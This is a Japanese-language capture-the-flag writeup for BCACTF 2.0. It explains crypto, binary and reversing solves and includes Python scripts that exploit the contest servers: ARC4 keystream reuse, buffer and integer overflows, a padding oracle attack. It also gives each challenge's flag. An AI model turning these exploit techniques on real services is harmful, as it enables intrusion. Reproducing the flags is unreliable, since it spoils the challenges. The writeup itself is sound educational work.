BCACTF v2.0 writeup
Result
今までで一番良い成績だったと思います！！
Writeup
crypto
Easy RSA 50pt
As part of his CTF101 class, Gerald needs to find the plaintext that his teacher encrypted. Can you help him do his homework? ( It's definetely not cheating ;) )
ファイル：enc.txt
p: 251867251891350186672194341006245222227 q: 31930326592276723738691137862727489059 n: 8042203610790038807880567941309789150434698028856480378667442108515166114393 e: 65537 ct: 5247423021825776603604142516096226410262448370078349840555269847582407192135
素因数分解されているので、普通に秘密鍵求めて復号するだけです。
bcactf{RSA_IS_EASY_AFTER_ALL}
Cipher Mishap 75pt
My Caeser-loving friend decided to send me a text file, but before sending it, his sister, who loves Caps Lock, tampered with the file. Can you help me find out what my friend sent me? Note: the answer must be wrapped in bcactf{}
ファイル：text.txt
126-Y, 113-N, 122-N, 130-N, 117-N, 107-N, 137, 114-N, 127-Y, 137, 113-Y, 104-N, 131-N, 110-N, 137, 105-Y, 110-N, 110-N, 121-Y, 137, 131-Y, 114-N, 112-N, 110-N, 121-N, 110-N, 125-N, 110-N, 137, 114-Y, 121-N, 126-N, 127-N, 110-N, 104-N, 107-N
137がアンダースコアっぽいと気付き、色々試すと8進数であることが分かったのでASCII変換。
VKRXOG_LW_KDYH_EHHQ_YLJHQHUH_LQVWHDG
問題文よりCaesarが使われているはずなので試すとROT23で意味ある文になる。
SHOULD_IT_HAVE_BEEN_VIGENERE_INSTEAD
"-Y", "-N" はYが大文字でNが小文字とエスパー。
def ROT23(enc): ret = "" for s in enc: if ord("A") <= ord(s) <= ord("Z"): x = ord(s)-ord("A")-3 if x < 0: x += 26 ret += chr(ord("A")+x) else: ret += s return ret f = open("text.txt") a = f.readline().split() print(a) enc = "" for i in a: enc += chr(int(i[:3],8)) print(enc) rot_enc = ROT23(enc) print(rot_enc) flag = "bcactf{" for i in range(len(a)): if len(a[i]) < 4: flag += rot_enc[i] else: if "N" in a[i]: flag += rot_enc[i].lower() else: flag += rot_enc[i] flag += "}" print(flag)
自分がやったのはROT23に気付いただけです。他は全てチームメイトが見つけました！
bcactf{Should_iT_Have_BeeN_Vigenere_Instead}
Sailing Thru Decryption 75pt
I seem to have lost something while I was sailing to France. I know it was one of my pets, but I can't seem to remember his name. Could you help me remember it?
ファイル：image.png
これの正体はこちらから。
picoGym cryptography writeup - Attack All Around
一番最後の行を読むと、「thekeyisfhskdn」-> 「the key is fhskdn」となります。「fhskdn」ってなんやねんと調べますが特に分からず。残った上の5行は、正解を言うと国際信号旗です。最後の行がそうなら、他も同じですよね。普通はそう考えます。
しかし、私はそこでモールス信号ではないかと道を外れます。Sailingからそうではないかと…。モールス信号なら途中で空白があるはずなのですが、これにはありません。ここで何度も右往左往します。
はい、ほんとは01を表しているのでそれに沿ってASCII変換すると、
gjsmws{1x_o1k_x4pr_l3y4jn?}
となります。これはチームメイトがやってくれました。その時私は何をしていたかというと、散歩がてら進撃の巨人とトモダチゲームの最新刊を買いに行ってました。ひどい先輩です。
うちに着いて進捗を見て、Vigenere暗号だと気付きcorrect。どうも、ゴール前で寝転がってボールが来たのでシュートだけ決める、チームからは絶対嫌われる選手です。
Vigenere暗号のkeyは「fhskdn」です。CyberChefで復号しました。
bcactf{1s_h1s_n4me_g3r4rd?}
Slightly Harder RSA 75pt
Gerald's homework is getting trickier. He isn't being given the primes anymore. Help him find the plaintext!
ファイル：enc.txt
n = 947358141650877977744217194496965988823475109838113032726009 e= 65537 ct=811950322931973288295794871117780672242424164631309902559564
nがfactorDBなどで素因数分解可能です。
bcactf{rsa_factoring}
Little e 100pt
Gerald's favorite prime is 3 and made it his public exponent; he keeps insisting that it's secure. Help me prove him wrong.
ファイル：encrypted.txt
N: 17260541145579198891286838820507756585494408484294770862002805660577661138753926064444981930310528890773266098356882517290033235056654103412024620204547445159627671127518965960486480229617902782023368077819854820837387791591683428592246121552228695417314295153721144499366280389254552597040315734269703314601367296670296596449184388246232676724558126845148454433428619114310396032130452938580427564701080866025573039407415733982384144637567337164211240182263026767455207192185903776322079215198832973810587735067694801737731617941390472537291532113711292822595269219795255224521641891049508289784761579371125213474439 e: 3 ct: 1112413624683819960899152482895461211039349964898672381675850025556800617245120168928400758297834676330400246617472191750627367991315450127361583383350639760738254818244740474313061192563860605923503717
me < nのパターンです。Low Public Exponent Attackですね。
bcactf{R54_N0T_50_S3CUR3_33}
RSAtrix 1 125pt
RSA, RSA, RSA. After so many RSA problems, they all start to look the same. But what looks different? Matrices! After a lot of detailed R&D, we're proud to present RSAtrix, the world's first* matrix RSA system!
ファイル：rt1.sage, enc.txt
出ましたsage。以下の難しそうなコードをsagemathで出力させると、5×5の行列で要素が0か1のものが出てきました
R = Zmod(n)
MS = MatrixSpace(R, 5, 5)
s = PermutationGroupElement('(1,4)(2,3,5)')
P = MS(s.matrix())
"""
[0 0 0 1 0]
[0 0 1 0 0]
[0 0 0 0 1]
[1 0 0 0 0]
[0 1 0 0 0]
"""
これを平文m倍して、nでの剰余となるので、enc.txtにある0でない要素はRSA暗号の暗号文cに該当します。p, qが分かっているので復号は簡単ですね。
bcactf{just-rsa-with-matrices-9385dax}
FNES 1 150pt
My friend developed this encryption service, and he's been trying to get us all to use it. Sure, it's convenient and easy to use, and it allows you to send encrypted messages easily, and...
Well, I want to get control of his service so I can monitor all the messages! I think he's hidden some features and files behind a secret admin passphrase. Can you help me access those hidden files?
nc crypto.bcactf.com 49153
ファイル：fnes1.py
fnes1.pyを見るとARC4という初耳の暗号を使っています。まずはそれについて調べました。
https://www2.nict.go.jp/csri/plan/H26-symposium/files/3-1.pdf
keyによって擬似乱数を生成して、平文とxorしたのが暗号文になるという理解です。「CTF ARC4 writeup」などでググりましたが、「ARC4は最初の512bytesを捨てないといけない」という脆弱性があるということでしたが理解できず、その問題のsolves数が5とかだったので諦めました。
fnes1.pyのtempkeyを定義しているところに注目します。
tempkey = SHA.new(int(key + int(time.time() / 10)).to_bytes(64, 'big')).digest()[0:16] cipher = ARC4.new(tempkey)
keyは毎回同じ値でUNIXTIMEの整数部分を10で割った値と足しています。ん？
これは10秒毎にその値が変わります。つまり10秒以内に2回ncすれば、tempkeyが同じになるので生成する擬似乱数も同じになります。
目的はtarget_query="Open sesame... Flag please!"の暗号文を作り復号させることです。"flg!"が平文に含まれていると暗号化してくれないので"0"を送り暗号文をもらい"0"でxorして擬似乱数を得ます。そしてtarget_queryとxorしたのを渡すとflagがもらえました。
HOST, PORT = "crypto.bcactf.com", 49153 s, f = sock(HOST, PORT) for _ in range(12): read_until(f) key = "Open sesame... Flag please!" #for i in range(len(key)): read_until(f) read_until(f,">>> ") s.send(b"E\n") read_until(f) read_until(f,">>> ") enc = "0"*len(key) s.send(enc.encode()+b"\n") read_until(f) ct = read_until(f).strip() s.close() s, f = sock(HOST, PORT) print(ct) assert len(ct) == len(key)*2 pt = "" for i in range(0,len(ct),2): x = int(ct[i:i+2],16)^ord("0")^ord(key[i//2]) x = hex(x)[2:] if len(x) == 1: x = "0" + x pt += x for _ in range(12): read_until(f) read_until(f) read_until(f,">>> ") s.send(b"D\n") read_until(f) read_until(f,">>> ") s.send(pt.encode()+b"\n") while True: print(read_until(f))
bcactf{why-would-you-attack-your-FNES????-4x35rcg}
RSAtrix 2 200pt
Sure, you saw our first prototype, but you could obviously see it was just RSA slapped on a permutation matrix. Will you still be able to decode our messages if we conjugate our generator first?
ファイル：rt2.sage, enc.txt
RSAtrix 1と比べてCという行列が出てきました。チームメイトが解けた時に教えてくれたのですが、Cはランダムに要素を決めていると思いきや、seed(1)としているので毎回同じになります。なのでGがわかりその逆行列が求められるので、以下の式のようになります(やったのはチームメイトで自分は何もやっていない)。
M^e = (mI)^e * G^e M^e * (G^e)^-1 = (mI)^e
これでRSAtrix 1のenc.txtのような、要素が0となんか大きい値=暗号文cが得られ、復号したらflagとなりました。
bcactf{permutation-conjugation-magic-3x876oeu}
Rainbow Passage 225pt
I'm pretty sure my friend has been communicating with the trickster god by beaming encrypted message at rainbows every time it rains. I've intercepted one of his messages along with its plaintext; can you help me figure out the password he uses so I can talk to the shape shifter myself?
To get the flag, wrap the password in bcactf{...}.
ファイル：rp.py, message.txt, enc.txt
まず、暗号化のアルゴリズムを理解するのに苦労します。
- パスワードを2文字ずつに分ける ASCII変換->2進数16bitsにして文字列として保存。今回パスワードが32文字なので16個の文字列が出来る。
- 平文を16文字ずつ分ける。暗号文の上位1byteは、上の16個の文字列の各0番目の文字に注目する。16個の文字列の0番目の文字列の0番目の文字が1なら平文の0番目をxorする(最初は0とxor)。
- 次に、16個の文字列の1番目の文字列の0番目の文字が1なら平文の1番目とxorする。 暗号文の上位2byte目は、上の16個の文字列の各1番目の文字に注目する。やり方は先と同様。
- 以上を繰り返す。
enc.txtの上位2bytes"0074"を例にとって考えます。"00"の方は、16個の文字列の0番目は必ず0なので、どれともxorしていません。一方、"74"の方はmessage.txtの"When sunlight st"の内いくつかをxorすると"74"になりました。こんな感じです。
解法として、bit全探査を行います。"When sunlight st"の内、どれを選べば0x74になるのでしょう。16文字で選ぶ/選ばないの通り数は、216 = 65536なので全探査の時間はそこまでかかりません。ちなみにこの場合、512通り考えられます。
では、この512通りを絞っていきます。"When sunlight st"の内、何番目を選べば0x74になるのかという組み合わせを記憶します(これが512通りあります)。その内正しい組み合わせは、次の16文字"rikes raindrops "でもenc.txtの上位18byte目と一致するはずです。さらに、次の16文字でも上位34byte目と一致します。これを繰り返していくと、正しい組み合わせが一意に定まります。
f = open("message.txt") mes = f.readline().strip() print(mes) f = open("enc.txt") enc = f.readline().strip() print(enc) s = [] for block in range(16): for i in tqdm(range(2**16)): t = bin(i)[2:] while len(t) < 16: t = "0"+t check = True #print(enc[2*j+2*block:2*j+2+2*block]) for j in range(0,len(mes)-16,16): #print(enc[2*j+2*block:2*j+2+2*block]) x = 0 for k in range(16): if j+k >= len(mes): break if t[k] == "1": x ^= ord(mes[j+k]) x = hex(x)[2:] if len(x) == 1: x = "0" + x if enc[2*j+2*block:2*j+2+2*block] != x: check = False break #else: # print(i) if check: s.append(i) print("find! :",i) break
ここで、"find! : {i}" と出るiはパスワードのASCII変換ではなく、ASCII変換したx bit目を上から見た時の数値になります。例えば、2回目に出る"find! : {i}"は、i=61305ですが、下の図の2bit目を上から見た状態です。
0111001101111001 0111001101110100 0110010101101101 0010110101101111 0110011000101101 0110110001101001 0110111001100101 0110000101110010 0010110101100101 0111000101110101 0110000101110100 0110100101101111 0110111001110011 0010110100110010 0011011100110011 0110010001100101
これをうまく変換させるとパスワードが手に入り、bcactf{}で括って提出しました。
bcactf{system-of-linear-equations-273de}
FNES 2 375pt
After FNES got cracked, my friend enlisted his ex-girlfriend to help him improve his service. She majored in cryptography, so it should theoretically be quite a bit better now. Unless she installed a backdoor, that is...
nc crypto.bcactf.com 49154
ファイル：fnes2.py
はい、Padding Oracle Attackですね。
Padding Oracle Attack 分かりやすく解説したい - Attack All Around
今回はEncryption Attackを使って、"Open sesame... Flag please!"の暗号文を作っていきます。やり方は上記のサイトを参考にしてください。
bcactf{high-priestess-of-the-temple-of-apollo-49b7x}
binex
BCA Mart 75pt
After the pandemic hit, everybody closed up shop and moved online. Not wanting to be left behind, BCA MART is launching its own digital presence. Shop BCA MART from the comfort of your own home today!
nc bin.bcactf.com 49153
ファイル：bca-mart.c, bca-mart
C言語のint型オーバーフローを使ってFlagを買います。
#include <stdio.h> #include <stdlib.h> int main() { int money = 15,amt=10000; while (1) { int tmp; tmp = 100*amt; if(tmp < money) { printf("%d\n",amt); break; } amt++; } return 0; }
ここで出力された値の文だけFlagを買えばオーバーフローしてflagが表示されます。
bcactf{bca_store??_wdym_ive_never_heard_of_that_one_before}
Honors ABCs 75pt
Here at BCA, we don't deal with normal classes. Everything is at the honors level or above! Let's start by learning about the alphabet.
And by learning, we obviously mean testing. Don't cheat!
nc bin.bcactf.com 49155
ファイル：honors-abcs.c, honors_abcs
int型変数gradeをバッファオーバーフローを利用して値を書き換えます。本来gdb等を利用してアドレスを求めて…とかになると思うのですが、そんなの分かんないんで長さを変えてって上手くいくときを狙います。最初の文字を0とするのが必須ですね。
HOST, PORT = "bin.bcactf.com", 49155 test = "0"*40 while True: test += "z" s, f = sock(HOST, PORT) for _ in range(11): read_until(f) read_until(f,"Answer for 1: ") s.send((test+"999").encode()+b"\n") print(test) recv_m = read_until(f).strip() print(recv_m) if "How" in recv_m: while True: print(read_until(f)) s.close()
AP ABCs 100pt
Oh wow, they put a freshman in AP ABCs? Never thought I'd see this happen. Anyways, good luck, and make sure to not cheat on your AP test!
nc bin.bcactf.com 49154
ファイル：ap-abcs.c, ap-abcs
終わった後に解けたんですが、Honors ABCsの時と同様に長さを変えてってscore変数を0x73434241にしたいです。これがリトルエンディアンだと気付かずb"sCBA"と送っていました。いや問題名から"ABCs"となることに気付けよ！！！
HOST, PORT = "bin.bcactf.com", 49154 test = "0" while True: s, f = sock(HOST, PORT) for _ in range(46): read_until(f) print(read_until(f,"Answer for 1: ")) s.send((test+"ABCs").encode()+b"\n") for _ in range(2): read_until(f) print(test) recv_m = read_until(f).strip() print(recv_m) if "tsk" in recv_m: while True: print(read_until(f)) test += "0" s.close()
rev
Digitally Encrypted 1 75pt
Gerald has just learned about this program called Digital which allows him to create circuits. Gerald wants to send messages to his friend, also named Gerald, but doesn't want Gerald (a third one) to know what they are saying. Gerald, therefore, built this encryption circuit to prevent Gerald from reading his messages to Gerald.
ファイル：circuit_1.dig, encrypted.txt
以下のサイトのREADME.mdにあるDownloadボタンでアプリを入手します。チームメイトが教えてくれました。
GitHub - hneemann/Digital: A digital logic designer and circuit simulator.
自作ブロック暗号ですね。keyとxorするだけでkeyの値も分かっているので、暗号文とkeyをxorして終了です。
from Crypto.Util.number import * enc = [0xB6A46EE913B33E19, 0xBCA67BD510B43632, 0xA4B56AFE13AC1A1E, 0xBDAA7FE602E4775E, 0xEDF63AB850E67010] key = 0xD4C70F8A67D5456D for i in enc: t = key^i print(long_to_bytes(t).decode(),end="") print()
bcactf{that_was_pretty_simple1239152735}
Digitally Encrypted 2 150pt
Gerald and Gerald have just learned that Gerald has cracked their previous cypher. Gerald scolds Gerald, saying that he shouldn't have given away the key. Gerald, therefore, decides to create a new cypher, hopefully one that Gerald can't crack.
ファイル：circuit_2.dig, Block.dig, encrypted.txt
今度の自作ブロック暗号は、平文とkeyによって暗号化しているようです。その具体的な方法がBlock.digに記載されています。keyの値も今回は非公開です。
まず、40bitsのkeyをkey1, key2に分けます。ともに32bitsで、key1はkeyの下位32bits, key2はkeyの上位32bitsとなります。灰色で薄く[0-31]とあり、最初は上位32bitsの事かと思いましたが、逆のようでした。
後は以下の式の通りです。
pt1 = 平文下位32bits, pt2 = 平文上位32bits
ct1 = 暗号文下位32bits, ct2 = 暗号文上位32bits
ct1 = pt2 xor not(key1 xor pt1)
ct2 = pt1 xor not(ct1 xor key2)
= pt1 xor not( (pt2 xor not(key1 xor pt1) xor key2)
not()はbit反転です。pythonでは~があるようですが、~4 = -5となりよくわからなかったので自作しました。
def rev_bit_32(x): x = bin(x)[2:] while len(x) < 32: x = "0"+x ret = "" for i in range(len(x)): if x[i] == "1": ret += "0" else: ret += "1" return int(ret,2)
平文の最初7文字は"bcactf{"であることに注目します。pt2 = long_to_bytes(b"bcac"), pt1 = long_to_bytes("tf{?") となります。?は何かしらの1文字です。この?をbruteforceしていきます。
pt1, 2, ct1, 2が分かっているのでkey1, 2が求められます。key1, 2は24bits共有しているのでそうなるものをbruteforceします。今回は一意に決まったのでよかったです！ key1, 2が求まったら、暗号文から平文を復元します。
from Crypto.Util.number import * def rev_bit_32(x): x = bin(x)[2:] while len(x) < 32: x = "0"+x ret = "" for i in range(len(x)): if x[i] == "1": ret += "0" else: ret += "1" return int(ret,2) def decoded(key1,key2,enc): e1 = int(enc[:8],16) e2 = int(enc[8:],16) tmp = rev_bit_32(key2^e1) pt1 = tmp^e2 tmp = rev_bit_32(pt1^key1) pt2 = e1^tmp return (long_to_bytes(pt1) + long_to_bytes(pt2)).decode() f = open("encrypted.txt") a = f.readline().split() print(a) ptab = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_{}" ct2 = int(a[0][:8],16) ct1 = int(a[0][8:],16) for p1 in ptab: plain = "bcactf{"+p1 plain = bin(bytes_to_long(plain.encode()))[2:] while len(plain) < 64: plain = "0"+plain pt1 = int(plain[32:],2) pt2 = int(plain[:32],2) tmp = ct1^pt2 tmp = rev_bit_32(tmp) key1 = tmp^pt1 tmp = ct2^pt1 tmp = rev_bit_32(tmp) key2 = ct1^tmp k1 = bin(key1)[2:] while len(k1) < 32: k1 = "0" + k1 k2 = bin(key2)[2:] while len(k2) < 32: k2 = "0" + k2 if k1[:24] == k2[-24:]: print(key1,key2) break #decode for enc in a: e1 = int(enc[8:],16) e2 = int(enc[:8],16) tmp = rev_bit_32(e1^key2) pt1 = tmp^e2 tmp = rev_bit_32(pt1^key1) pt2 = tmp^e1 pt = pow(2,32)*pt2+pt1 print(long_to_bytes(pt).decode(),end="") print()
bcactf{x0r5_4nD_NXoR5_aNd_NnX0r5_0r_xOr}
Problems&Solver
solved by Teammates
自分は解けずにチームメイトが解いたcrypto問です。
-
- RSAtrix 3
- RSAtrix 4
- RSAtrix 5
とくにRSAtrix 5解けたのすごいなぁ。
